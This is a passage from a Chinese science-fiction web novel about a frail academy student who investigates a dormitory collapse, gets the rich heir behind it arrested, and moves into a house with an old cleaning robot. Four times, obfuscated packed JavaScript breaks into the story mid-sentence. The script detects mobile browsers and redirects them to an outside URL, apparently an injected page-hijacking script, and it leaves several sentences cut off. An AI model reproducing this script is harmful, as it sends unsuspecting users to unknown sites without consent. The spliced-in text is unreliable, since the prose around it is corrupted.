陶影：“这里是视觉死角，你怎么察觉到周真攻击的？” 南卦看到录像，也很意外，她翻来覆去看了好几遍，似乎不确定机甲里的人是不是她。 她一脸疑惑：“我也不知道怎么避开的。当时……就觉得后脑勺一凉。应该是我的错觉吧？不然是机甲的自动避让？” 果然如此。 “VX-89是老型号，没有自动避让这么高级的功能，”陶影摸摸下巴，“第一次对战的时候，我就有点奇怪，当时你连续躲开了三次周真的攻击，本来以为是反应能力快，但后来想了想，不像。” “这次对战之后，我基本上确认了这个猜想。” 陶影微微一笑。 “南卦，你测过精神力吗？” “啊？没，没有。”南卦摇头。 第二天，陶影拉着南卦，去找姬亦老师补测精神力。 结果出来，南卦的精神力有A+。在整个学院，仅次于陶影的S级。 林别歌大吃一惊：“她，她精神状态这么不稳定，精神力还能有A+吗！” 陶影：“偶尔也有这种类型。” 大多是在充满精神攻击的成长环境里磨练出来的。 林别歌不理解，但她选择接受。 “好吧，就当你说的是真的，但她精神力高，和她能避开攻击有什么关系？” “林别歌，我告诉你一个秘密吧。”陶影手敲着脸颊，笑着说。 高精神力人群，有一个共同秘密。 嗅觉，味觉，听觉，视觉，他们在某一个方面，会有远超一般人的敏感程度。 精神力等级越高，就越明显。 南卦的情况，可能几方面都有。 她拥有极强的观察力，可以提前察觉危险。 其实是非常科学的能力，但因为一般人难以切身理解那种感受，所以录像里看上去，就像超能力一样。 “ESP，超能力，第六感，怎么叫都可以。” “哇，没看出来啊，你这么厉害，”林别歌撞了南卦的肩膀一下，“那太棒了，我们强强联手啊。” 回过神来，林别歌又问：“不过影子，你精神力不也很高，你的ESP是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663894|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？全都有？” “不知道，我应该没有。” “怎么可能，你刚刚还说高精神力人群都有的！” “那可能是……我的智慧？” 陶影一脸严肃。 南卦、林别歌：“……” 请把你的脸皮打磨到正常厚度，谢谢。 · 半夜，陶影早早入睡，想起明天的计划，朝舍友打了声招呼。 “对了，我明天有事，中午下课你们不用等我吃饭。” 但没人回答。 南瓜在速写本上画她的仿生人、比格犬、小猫咪三口一家的治愈系漫画。 林别歌正在戴着耳机打游戏，抬手敷衍地回了几声好。 陶影淡淡地：“行吧，反正我说了。” 她打了个呵欠，翻身就睡。 …… 第二天，陶影清早起床，乘坐穿梭舰，来到莱门市中心的莱门医科大学附属医院。 刷ID卡进入。 她直接来到了医生的科室，推开门，医生很快就把检查流程发给她。 一套检查下来。医生紧皱着眉头。 紧接着打开光脑，开始查星网百科。 陶影：“……” 不会又检查出什么奇怪的毛病了吧，她的病历已经没有地方再加病名了。 医生沉默着在光脑上查询了半天，最后双手交叠，手肘靠在办公桌上。 “你这个情况……不能做手术。除了精神力没有一项指标是达标的。” “可以通过药物调整到能做手术的程度吗？” “一定程度上可以，但说实话，很难提升到合格标准。而且你腿部怎么还有一点骨折？” “之前跑步的时候摔了。” “哦——最近还是谨慎运动吧。最起码还要恢复一个星期。至于体质手术现在不行，我先给你开点营养片剂调理。” 陶影关注的点：“那什么时候可以调理好？” “起码半年之内你是不要想了，这还是在调理很好的情况下。食物上跟锻炼上都要注意。需要定期复查。” 医生说话非常严肃。 “你现在最重要的任务不是考虑手术，而是活着。” “……” 陶影跟医生道谢，拿完药离开了医院。 调理身体？ 学校宿舍那个条件，恐怕不太好调理。 首先食物就不行，全靠林别歌打工回来帮她带饭。 其次半夜宿舍窗户漏风，哗啦哗啦响不说，楼上还经常传来玻璃珠弹跳的声音，晚上睡眠不好。 但搬出去住，平时和队友交流也不太方便。 难道要带队友一起搬出去？但无缘无故的，没什么理由劝她们一起啊。 陶影脑子里闪现几个缺德方案，正在犹豫要不要对队友下此狠手的时候，穿梭舰到站了。 她低着头想事情，走到学校门前，突然觉得有哪里不对。 学校里空荡荡的。 但陶影的意思，不是说学校里没人。 相反，几百名学生喊叫的声音，简直响彻云霄。 所以不是没有人的那种空荡荡，就是，原本应该在那里的东西它……不见了。 原本应该是宿舍楼的地方，没了。 整栋楼，都没了。 “……” 谁能告诉她出门一趟为什么宿舍楼没了吗？ 陶影茫然地走进校门。 30. 第 30 章 陶影走进学校，迎面扑来一阵沙子。 原本是宿舍楼的地方，已经变成一片废墟，两台小型机甲正在废墟里翻翻找找，捞人。 时不时地有学生被抬出来，送进医疗舱。 陶影终于从震撼中回过神，随便拉住一个同学。 她问：“发生什么事了？” “哦，是你啊，体质F同学，久仰久仰，”那位同学似乎看见什么珍稀生物似的，拉住陶影的手握了好几下，好半天才想起陶影刚刚问她什么事。 那同学不好意思道：“上机课结束，我正在食堂吃饭，突然听到一声巨响，出来一看，宿舍楼就塌了，不知道是怎么回事。你真幸运，正好避开危险。” “巨响是什么声音？” “像是什么很硬的东西撞上宿舍楼。哎，不过也可能是我听错了，毕竟宿舍楼本来就摇摇欲坠的。” 受伤的学生还在一个个被抬出来。 陶影加快脚步，逆着人群往前走。 林别歌和南卦今天有课，她们可能也在楼里。 “这不是体质F同学吗？里面很危险的，你进去干嘛？” “是啊，等下，她是不是没听见你说话。哎——那个体质F同学！不要再往前走了！” 陶影充耳不闻，挤到前排。 白助教正在焦头烂额地拿着名单，一个个对学生的名字。 “白助教。” 白助教听见有人叫他，回头一看，是陶影，当即面露欣喜：“哎，你没事！” 说实话，最担心的就是这位脆皮学生，她如果被埋里面了，估计一分钟就会迅速嘎掉。 白助教高高兴兴地划掉名单上陶影的名字。 陶影凑过去看了一眼名单。大部分学生的名字都已经确认生存，但上面没有她的两位队友。 陶影皱着眉头：“林别歌和南卦呢？” 白助教遗憾地摇摇头：“还没找到。” 搜寻的机甲还在来回走动。 白助教大喊：“签到名单还有谁没签的！快点，我们要排除还有哪些学生没救出来！” “我我我！帮我朋友签，她们刚刚在医疗舱醒过来了。” 又是几个灰头土脸的学生跑过来。 白助教忙得一团乱，几个学生志愿和他一起统计还没确认生存状态的学生。 随着名单上的名字一个个被划掉，最后只剩下了林别歌和南卦。 这么久过去，如果被埋在下面，应该是没救了。 白助教唉声叹气。 “完蛋了，早就说过经费要优先改造宿舍，哎。这下要害死两名新生了。” 陶影观察了一下，突然问：“那两台正在搜救的机甲是VX-89？” “嗯。哎？是的。姬亦老师发觉情况不对，就去开了一台。” “那剩下一台是谁。” “不知道，挺熟练的，应该是哪个厉害的学生吧？” 白助教说到一半，仓库里突然走出一台机甲。 和正在搜救的两台VX-89不同，这台机甲是VX-108，型号比起VX-89更新，偏万金油的机型，应该是教练机。 教练机咚咚走到拥挤的学生附近，学生们自觉地让出一条路。 白助教奇怪地上前，然后机甲掀开了脑袋，里面是姬亦。 “啊？姬老师你怎么会在这里？那台VX-89里的不是你啊！” “不知道，我一发现情况就联系了星警，等他们来要一定时间，我本来想就近开机甲救援，但仓库里没一台机甲能开的。” “不是还有一台好的VX-89吗？” 姬亦耸肩：“不知道是谁把它撞坏了。” 白助教转过头，疑惑地看着那两台还在搜救的机甲。 “如果现在机甲里坐着的不是您，那会是谁啊？” 大家都面面相觑，不知道是什么情况。 而那两台机甲还在埋头搜索。 陶影若有所思，随后观察了一下两台机甲的情况，突然扑哧笑出了声。 同学们：“……” “体质F同学在笑什么？” “不知道，快看，她死盯着那两台机甲，手上还在写什么。……战斗分析？啊？为什么这个情况也能写战斗分析？” 很快，星警赶来，确认废墟里已经没有生命痕迹。 那两台VX-89机甲肉眼可见地萎靡下来。 机甲朝安全区走了几步，里面的人爬出来。 是两个女孩。 她们显然已经很累了，走了两步，其中一个女孩神色麻木，精神状态不太好，果然，下一秒，她突然抱着膝盖就蹲下开始大哭。 另外一个女性，身高一米八左右，在拍拍那个蹲着的女孩的背，安慰她。 陶影：“……” 陶影正想说什么，那名一米八的女性视力非常好，往这边看了一眼，和陶影视线对上了。 一米八跳起来，随后提起地上那个大哭的女孩。 两个人龙卷风一样地冲了过来。 南卦嚎啕大哭地扑到陶影身上。 “小影，我还以为你死了啊啊啊啊啊啊。” 林别歌更是嗷嗷大叫，非常难听地嚎哭两声之后，转悲为怒，在地上狠狠跳了两下。 她愤怒地指着陶影：“影子，你出门为什么不告诉我！” 陶影面色麻木：“我昨晚说过啊，说今天有事要出门。你当时在打游戏。” 南卦一脸眼泪地转过头。 林别歌：“……好像，确实，说过。” 她当时正在玩美食经营小游戏，太专注了，就，随便，应了一下。 林别歌气势一下就弱了下去。 “那，这个，那个……” 白助教出来打圆场：“总之是个误会是吧。大家没事就好。所有学生都成功救了出来，以莱门的医疗条件，不会有什么问题。” “倒也不能说完全没事。”陶影的视线朝向宿舍楼。 人是没事了。 “我们的行李全在里面，今晚住哪儿？” 学校把空置的教室暂时清理出来，让大家先住一晚。 陶影还是没想通，楼究竟是为什么塌的？ 看上去不像自然坍塌。 第二天，陶影让林别歌用机甲的雷达扫描了一下废墟。 【——异常警告，异常警告。】 机甲传来提示。 林别歌捡起一个脸盆那么大的金属零件，两手举过头顶，朝陶影挥挥。 “影子！我找到一个奇怪的东西！” “扔到这边空地。” “好！” 林别歌进行一个利落的抛。 陶影捡起看了看，是VX-89的后背零件。上面有特殊符号，是六台VX-89中的一台。 陶影径直来到战斗区旁边，拆下两个摄像头，看了一下里面的录像。 摄像头是陶影之前装的，为了录两位队友的对战过程。 林别歌左看看，右看看。那个摄像头跟着她就开始自动捕捉。 林别歌迟疑了一下：“话说我之前就想问了，你这个装在战斗区，经过老师同意了吗？” “放心，校规我滚瓜烂熟，里面没写不能装。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672449|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁家好人看校规是为了找校规漏洞的？” 陶影翻看录像的同时，还不忘一心二用回答林别歌的问题。 “好人当然也要钻规则漏洞了，不然世上只有坏人钻漏洞，好坏岂不是不平衡。” “我多善良啊，当然不愿意看到这种事情发生。” “……” 你的逻辑无懈可击，但你的前科怕是花样百出。 看完录像，陶影拔下存储卡，似乎是想起什么开心的事情，嘴角微翘。 过了一会儿，忍不住笑出声。 林别歌：“影子，你笑得像科幻片里抓到主角把柄的仿生人大反派。” 陶影露出八颗牙齿，灿烂地笑了。 的确是抓到了把柄，还是送上门来的。 爱荷华家族怎么会养出这种蠢蛋。 陶影晃晃手中的录像带。 “等我好消息。” · 爱荷华家族地界。 茂密的森林中心，有一座城堡。 三楼，一间精美而奢华的房间，天顶上，圆润的人体构成高雅的油画。 甘逸·爱荷华靠在沙发上，观看他的杰作。 大屏幕上，全是宿舍楼倒塌的照片。 甘逸越看越开心。 没错，宿舍楼就是他偷偷开机甲撞的。为了报复那个告密的女人。 白颖。 甘逸的朋友圈子里，之前有一个吹嘘自己考上莱门大学的，甘逸看他不爽，想杀杀他的锐气。 正好，朋友里有个姓丁的，说可以帮忙，把甘逸的分数换成高分，这样他就可以去读莱门大学了。 甘逸本来还奇怪要怎么换，第二天，朋友找到一个第四星系出身，没有家人的孤儿，直接在系统里调换了分数。 料想这个学生没有后台，也翻不出什么风浪来。 就算被发现，最多赔点钱打发了——偏远星系的穷人嘛，是这样的。 没想到，这个学生竟然直接告状到尤里斯那里，害他又被关了一个月的禁闭！ 不就是个分数而已，至于闹成这样吗？ “让她找叔叔告我的密，现在肯定吃到教训了吧。” 甘逸得意地按下遥控键。 从禁闭被放出来，他第一时间就是找到那个机甲学院。 找了个监控死角，开机甲撞了下宿舍楼。 神不知鬼不觉。 他正想着自己第一次开机甲就这么厉害，沾沾自喜的时候，门板突然被踹开。 三个穿着星警制服的女性走进来。 她们亮出证件。 “莱门市治安署，甘逸·爱荷华，不要反抗，举起双手，否则我开枪了。” 甘逸猛地站了起来：“我凭什么……” “双手，举过你的头顶。”星警的说话声带着不容拒绝的冷意。 甘逸不服：“这里是爱荷华家族的地盘，哪里有你说话的——” 他狠话放到一半，突然看到门外的管家在朝他使眼色。 甘逸犹豫了一下，最终不满地举起双手，示意自己手上并没有武器。 “甘逸·爱荷华，你涉嫌故意破坏居住建筑罪，致多名学生受伤，现依法对你实施逮捕。” “你有权保持沉默，但你说的每一句话都将成为呈堂证供。” 队长点头，两边的队员同时上前，把甘逸压倒在地，甘逸被束缚带绑住双手，带上警用巡逻穿梭舰。 虽然爱荷华家族有试图压下消息，但哪里瞒得住广大网民。 星网头条火热发酵。 【家人们，大速报！爱荷华家族的小少爷被抓了！】 31. 第 31 章 【啊？抓了甘逸？听说他之前开车撞人，不是关家里了吗？又犯什么事情了。】 【他开机甲撞了宿舍楼，好多学生受伤了。】 【他是真敢啊，仗着家族撑腰有恃无恐，这下终于栽了吧。】 【撞人那次就草草赔钱了事，这次爱荷华家族竟然没用钱解决？难道是报警人背后有爱荷华科技的竞争对手。海台科技，加西亚电子，还是柏氏工业？】 【都没有。听说报警人是个普通大学生，还是从偏远星系来的。】 【啊？没有后台还敢得罪爱荷华家族，不要命啦？！】 每个网友都觉得，星网头条肯定会被压下去，这件事情多半会不了了之。 报警人一定会被报复。 但结果出来，他们大跌眼镜。 星网讨论度不仅没下去，反而一直保持着第一没降下来。 【内部速报！这次事情大条了，听说爱荷华家族没能保下人。】 【甘逸要被关押到第四星系的星际监狱了！！】 · 陶影在警局配合调查结束，离开了警局大门。 几名星警看着她的背影，又看看询问记录，都是非常头痛。 他们被爱荷华家族收买，询问中设计了一些陷阱，但这学生一次都没中过套。 完全找不出来一点可以做文章的地方。 这下甘逸进去，是铁板钉钉了。 星警感叹：“这名学生应对太厉害了。要不是她身份记录干干净净，我简直要怀疑她是星际监狱几进宫的犯人。” “同感，要不然就是什么犯罪天才吧。” 星警们整理好证据，正在想着给爱荷华家族交代，陶影突然折返，将一只录音笔放在桌子上。 “对了，刚才忘了，还有一个案子，既然都是同一个人干的，就干脆一次处理了吧。” 星警心中有种不详的预感：“什么案子？” “甘逸涉嫌勾结联考部门的内部人员，换掉了我的分数。” “你说什么？” 星警都受过专业的训练，但险些控制不住自己的表情。 “换分？？？” “这话可不能乱说的，你有证据吗？” 陶影微笑着点点头，又掏出了一沓证据。 星警全瘫坐在座位上。 这件事情发酵起来，绝对会全网引爆。 上次有人捅出这件事，他们莱门市星警上上下下，抓了几百个相关人士。 简直是天天忙得脚不沾地。 这个甘逸究竟想干嘛啊，折磨死他们吗！！！ · 出了莱门市治安署的大门，陶影看到一个熟悉的身影。 是爱荷华家族的管家。 显然面色不怎么好。 陶影走过去。 “你来晚了，问询都结束了。” 管家捏着衣袖，但是面上还是要保持体面。 他已经为爱荷华家族服务几十年了，处理这些事情也非常熟练。 这次的事情，的确非常严重，但以他们的人脉，完全可以找内部人士偷偷解决。 没想到星网舆论竟然发酵起来，帖子根本删不完。 大家逼着星警方必须给一个结果。 爱荷华家族没办法，只能先配合警方调查，之后再想办法把人弄出来。 但这件事情，又出现了第三方的压力。 姬亦，联邦元帅，一个电话打到了治安署署长那里，说必须给她的学生一个交代。 谁能想到，那所三流军校的老师，竟然是隐姓埋名的联邦元帅！ 有元帅撑腰，星警那边被逼得不得不认真处理。 毕竟虽然他们算是雷瓦尔帝国的古老贵族，在切斯特星，没有人敢随便得罪。 但在军方内，并没有那么强的实力。 爱荷华家族，目前只有尤里斯·爱荷华一个上将。 比起联邦元帅的话语权还是小太多了。 但撇开这件事。这位学生，竟然把换分的事情一起捅了出来！ 管家平稳语气道：“换分的事，你可是收到了五百万的封口费，如果严肃处理起来，我们可以起诉你敲诈。” 陶影一脸无辜：“嗯？是吗，什么封口费，没听说过。” 陶影拿出那天的录音，点击播放。 尤里斯的声音从录音笔里传来。 “你是聪明人，应该也知道，就算换回原本的专业，也不见得能有多好的未来。” “如果想从事相关的开发职业，爱荷华科技现在就可以给你实习机会。” “想要的太多，最后恐怕会什么都得不到。” 听上去字字都是威胁。 而最后，陶影说的是：“好吧，我一个第四星系的学生，的确没有反抗爱荷华家族的能力。” 是的，陶影一直在强调换回她的专业，从来没有提过要钱。 “明明是上将大人想靠给钱息事宁人。如果需要，你们也可以去调店里的监控。” “不过要是真的查了，困扰的应该是你们。毕竟从头到尾，那段视频，都是尤里斯·爱荷华在威胁我。” “呵，”那管家冷笑一声，视频监控，那有什么重要，让它丢失就可以了。但…… 管家：“录音可以造假，但上将大人给你转账的记录可是真的。” 陶影一脸无奈：“所以我刚刚也说了，什么五百万星币，我没收到过。” “少装糊涂，钱都转入你的账户了。记录全星际联网，都可以查到。” “那恐怕你们转错人了。” “什么？” 管家觉得这个学生在说谎，但她的表情太笃定，让他也有点将信将疑了。 管家打了一个电话，让人帮忙调查收款账户，但电话那头并没有传来他想要的答案。 钱是转了，但是转到了一个黑市账户。 这个账户根本没有办法调查来源！ 管家指着陶影的脸：“你，你……” 陶影微微一笑。 当然，他们能找到关联就怪了。 这个账户和“白颖”本人没有任何关系。 穿梭舰到了，停在陶影面前。 陶影似乎是突然想起什么：“哦，对了，这次甘逸不仅要蹲星际监狱，你们还要负责赔偿所有学生的生理及精神损失费。否则学生如果不谅解，甘逸还要多蹲两年。” 虽然他本来也要蹲个十几二十年的。 陶影拍拍管家的肩膀，一副关心人的态度，慈祥道：“是爱荷华家族的荣耀重要，还是一个小少爷重要，你们是时候该想清楚了吧？” “你——！” 管家已经八十多岁，活这么大岁数，从来没和这种人打过交道。 不，或许有类似性格的人，但大多是混迹社会多年的老油条。 但一个学生？ 这是正常学生吗？！ 管家看着陶影的笑，就像看着一个魔鬼。 他冷静下来，他冷哼一声。 “你等着，这件事没这么容易就算了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681708|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 陶影一脚踏上穿梭舰，回头道：“拭目以待。不过真的建议你快点去找学生请求谅解。” 管家离开的背影更气愤了。 …… 这次事件后，同学们都拿到了大额补偿。 甚至学院也狠狠坑了爱荷华家族一把，把宿舍楼和教学楼统统翻新。 “太感谢报警人了！” “不知道是哪个学生这么有勇气，敢跟爱荷华家族作对，他们在莱门市可是横着走。” “如果知道她是谁，我要给她送锦旗。” 陶影正好路过，旁边的人跟她打招呼。 “哎，体质F同学！你去哪儿了？” 陶影似乎在想事情，没听见他们说话，直接就走了。 同学小声嘀咕：“该不会她就是报警人，刚才是去治安署配合后续调查吧？” “怎么可能，爱荷华家族随便派个人堵她，弹她一个脑瓜崩就能送走她了。不可能不可能。” 陶影来到暂住的教室，推门而入。 林别歌和南卦一看她回来，困也不困了。 她们两个跳起来：“影子！你太厉害啦！” 南卦：“我收到了一百万星币的精神损失费！能交大学四年的学费了！” 林别歌：“我也有一百万星币！终于可以不用打四份工了。要是把这件事情告诉学院的同学，他们肯定特别崇拜你。” “哦，那挺好的。” “……” 反应好平淡。 “对了，有件事情跟你们商量，你们有打算租房吗？” 陶影看了一眼破旧漏风的教室。 宿舍楼修好还需要很久，这个教室是学校临时找到的。 条件非常差，根本不能长住。 其它学生大多是莱门市本地人，可以回家住，但陶影她们都是从偏远星系来的，没有这个条件。 三个人商量一番，决定一起去校外合租。 “嗯，莱门市的房价好贵，根本负担不起。近的地方又贵又破，远一点倒是可以，但早上要起很早的。” “是啊，小影的身体受不了吧。” 南卦和林别歌叽叽喳喳地商量，转头，陶影一言不发，还在淡淡地划拉着平板。 也不像是在找房子呀。 林别歌：“影子，你怎么一点都不急啊。” 林别歌还没说完，一道冷风吹过来，陶影咳嗽一下。 “看吧我就说！你身体肯定受不了这个环境！之前不是说要调理身体来的！” “……” 陶影的手在光脑上滑动。 “我找到了。” “哦，我看看？”林别歌凑过去。 是一幢小洋房。两楼，复式。还是在莱门市中心，附近有快速交通。 地段好，房型也好。 南卦两眼放光：“哇，好漂亮的院子，而且每个人都有单独的房间！我喜欢！我想住！” 林别歌精通打工，也是有过租房历史的，一看就知道这个房子肯定不便宜。 “这个太贵了，我们应该租不起吧？换一个换一个。” “也不算贵，就五千星币，我们三个平摊。” “什么，一个月这么少？怎么可能，骗人的吧。” “朋友介绍的，位置安全，房源可信。” 见林别歌还是一脸怀疑，陶影又补充。 “附近有一条小吃街，价格很公道。” 林别歌当即决断。 “现在就走！” 32. 第 32 章 二层小洋房。 镜面太阳能板上面满是堆积腐烂的落叶。金属骨架做过防锈处理，所以没有生锈，但依旧有雨水冲刷留下的痕迹。 陶影踏上三级台阶。 她站在门前，给队友递去两个口罩，输入密码。 SD.HOUSE,127.0.0.1:8080。 林别歌面露疑惑：“SD是Shadow，House是房子，127.0.0.1是什么意思？” 陶影：“运算机中的本地回环地址——你把它理解为家吧。” 南卦眼睛一亮：“哦，我知道！我在机甲文学课本上读过一句话，‘没有任何一个地方像127.0.0.1’*，书上说，是根据一个童话故事改的，原句是‘没有任何一个地方像家一样’。” 林别歌喃喃自语：“机甲文学真是一个奇特的专业。” 陶影敲击几下门板，门板上的电子屏幕，显示出密码页面。 她直接录入了三个人的生物信息。 没等两位队友反应过来，陶影就要推门而入。 林别歌和南卦都惊呆了，拦住了她。 “哎你等等，直接进去？不需要等房主一起来看房吗？” “关于这个……” 陶影转过身，突然阴森森笑了两声。 “不用担心，这栋楼的房主已经死了很多年了，房子一直没人住。我们就算在这里偷偷住上一百年，也不会有人知道的。” 林别歌：“……” “我姑且问一下，房主不是你杀的吧？” 林别歌指了一下花园里长得郁郁葱葱的杂草。 “ta尸体不会就埋在花园里吧？” 陶影露出一个和善的微笑：“如果是呢？” 林别歌掏出光脑就是一个按：“歪你好，莱门治安署吗？是这样的我们这边有个凶杀案……” 光脑屏幕都没打开。 陶影笑着拍了一下林别歌的脑袋。 “开玩笑的，房主是我朋友，她离开第一星系了，暂时不住这里。” 林别歌：“五千星币一个月，你救过她的命？” “也可以这么说。不过主要是因为房子一直没人养护，坏了很麻烦的。房主正好看我们几个是学生，又比较爱干净，就同意租给我们了。” “这……倒是很有道理。” 林别歌面色犹豫。 但还是有点可疑。 “你们这什么表情？好像很不信任我的样子。” “考虑到你的前科……” “我有什么前科，只是微微地钻过一点校规的漏洞而已。密码当然是合法正规来源。” 陶影摇头，面露痛心。 “人心中的成见是一座大山。” 林别歌&南卦：“……” 最终三人达成结论，先进去看看。 陶影没有说谎，房子来源的确很正规。 正规得不行。 毕竟这里是陶影的房产之一。 当初在莱机所工作时候买的，因为离上班地点比较近。但买了才发现，根本没有时间住。 陶影大部分时间都直接住在莱机所。 所以这个房子……应该十几年没有人打扫过了。 果然，一进玄关，就是一大股灰尘的味道。 几人按紧了口罩。 关上门后，电子音自动播报：“欢迎回家。” 房子虽然很脏，但整体状况比陶影想象的好很多，大部分家具都用白布盖着，还好好的，可以使用。 卫生间、厨房，水管check，很好，没有漏水。 一楼是客厅、厨房、杂物间，二楼一共有四个卧室，还有游戏室，很周全的配置。 距离学校也只有一站，非常完美的房子。 林别歌权衡利弊，最后合掌：“就住这里，我没意见。” 南卦点头附议。 三人算是达成共识。 …… 陶影身体不好，卧室选在光照时间更长的一边，林别歌和她对门。南卦则在陶影隔壁——角落的一个小房间，窗外风景非常不错。 定好房间，就该进行下一步工作了。 林别歌撩起袖子，不知道从哪个犄角旮旯找来清洁用品。 “来吧南卦，我们开工。做清洁！” “好！” 两人一溜烟跑去客厅，开始打扫。 林别歌以前打工也干过保洁，特擅长这个，南卦在家里负责大部分家务，也很擅长这个。 陶影因为身体不好被两位队友强行禁止打扫，连擦一下灰尘都被骂了。 两位队友握起拳头：“你什么体质自己心里没数啊，给我休息！” 她无聊地靠在窗台边。 一抬手，发现皮肤上一串红色。 ……过敏了。 陶影默默收回了窗台上的手。 病历上又要加一条了。 想找点事情干，但屋子里没一个地方坐得下去。 “哦！”陶影想起一件事，突然合掌。 以前买房的时候，开发商有赠送过一台家政机器人来着，陶影开机试用过一次之后就扔这儿了。 可以开机帮忙做清洁，减轻两位队友的负担。 记得是放在地下室来着…… 想了想，陶影走下楼梯，来到杂物间，戴上手套，开始在一堆金属零件里翻找。 很快，她就找到了。 陶影把智能管家从零件堆里拖了出来，这才看清它的全貌。 智能管家大约一米高，头顶是一个半球，身子是圆柱，两只手倒是很像人类——应该是为了方便握取各种工具。 外壳零件有点被腐蚀，是极其老式的家政机器人，不过外表做得挺可爱的。 “让我看看，插座在……这里。” 喀哒接上电源的一瞬间，陶影眼前闪过一道刺眼的白光，然后是炸裂声。 头顶的灯泡爆裂了。 电闸也跳了。 再看，智能管家的电池开始冒烟。 陶影：…… 她默默从角落掏出一台灭火器，灭掉了火。 一楼传来林别歌的惊叫声：“哎哎谁拉我电闸，吸尘器不动了！” 三十分钟后。 陶影从工具箱里掏出扳手和零件，检查了一下智能管家。 似乎是内部电路短路，把电池烧坏了。 她焊好电路，叫来星际快递，换了一块电池。 “这样应该就没问题了吧？”她按下电源键。 智能管家开始闪烁灯光。 【——开机中，正在更新系统，请勿关机。】 大概过了十分钟，智能管家睁开Q萌可爱的眼睛，圆滚滚的身子原地转了一圈，开始扫描附近的情况。 在扫描到陶影之后，它露出一个>o “你好，我是你的家庭智能管家，请为我命名。” 陶影正想随便取个名字，机器人突然卡壳了。 “你，你好，我是你的家庭智能管家，叶、叶、叶……” “……”没取过这个名字啊，太多年没启动，bug了吗？ 叶叶？ 以前的人类真是喜欢给家政机器人取叠词名字。 “那就叫你小叶吧。” 陶影一看到饭点了，转身就要上楼。 及腰高的小机器人突然颤抖了一下，拉住陶影的衣角，陶影疑惑地回头。 小叶：“> 陶影：“？” 小叶：“> 哦—— 陶影低头看了一眼。 估计是这里空气质量太差，光脑的健康系统又开始报警了。 智能管家是有这个模块来着，正好可以帮她规划一下，提高身体指标。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687227|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陶影干脆接通光脑，把医生给她的数据也传输了过去。 小叶半圆形的脑袋转了一圈。 然后液晶屏幕上，露出>▽ “小叶将替主人制定食谱及一周锻炼计划！” ……好像很开心的样子。 情绪价值给得非常足。 陶影朝它竖起一个大拇指。 “帮忙做下全屋清洁吧。” “好的！” 小叶接受到清洁指令，开始在屋内走来走去。 它本来只有一米高，但圆柱体的内部竟然隐藏了升高部分。 两条管子构成腿部，直直伸长到三米高。 视觉感受上，大概就是从O形状变成======O的形状。 小叶的双手是软性变形材料制成，可以通过识别清洁对象的形状，完美贴合，进行全方位吸尘。 一个小时后，整个屋子焕然一新，衣柜顶部闪闪发光，连天花板都干干净净。 没有死角的智能管家。 林别歌仰着头，叹为观止。 “你刚刚说这是开发商送的？好良心的功能设计。” 陶影：“是挺良心的。刚刚查了一下，这个型号还会做饭。” “纳尼！”说到这个林别歌就激动了起来。 陶影仰头，拍拍机器人的两米大长腿。 “小叶，我们肚子饿了。” “好的！” 小叶很快制定食谱，下单食材，去厨房开火做饭。 大家坐在客厅，吃到一半，林别歌开始流泪。 “我好久没有吃过这么好吃的饭了。” 南卦声音哽咽：“我从来没吃过。” 林别歌扑通一声跪在了小叶面前。 “我愿尊称您一声母亲。” 小叶：“……” 它的屏幕正中显示出一个大大的问号。 南卦对着那个机器人左看右看。 “我总觉得它有点像活人……而且总是一直贴着小影哎？” 小叶的动作顿了一下。 林别歌：“你担心得还真多，有自我意识的智能体都被莱门监测中心管控着呢，不能到处乱跑的。” 陶影拍拍小机器人的头。 “放心，这个机器人存储结构很旧，支撑不了大幅度的运算，不会存在智能的。” · 而另一头，地下三千米处，数百台黑金服务器正在疯狂计算。 整个空间都漂浮着数据串。 博美穿过“每日营养膳食”六个金色大字，跳到Dust身边。 “你有这么高速运转的机器进入星际，竟然拿来计算陶影的食谱。话说计算量怎么这么大？” Dust叹气：“小影的病历实在太长了。” 本来想今天就根据医生建议，开始设计健康食谱，给小影调理身体的，但光是把数据传输到服务器，就花了很久。 更别说结合星际健康指南进行计算了。 博美心痛：“你悠着点，这个月的电费够交吗朋友。” 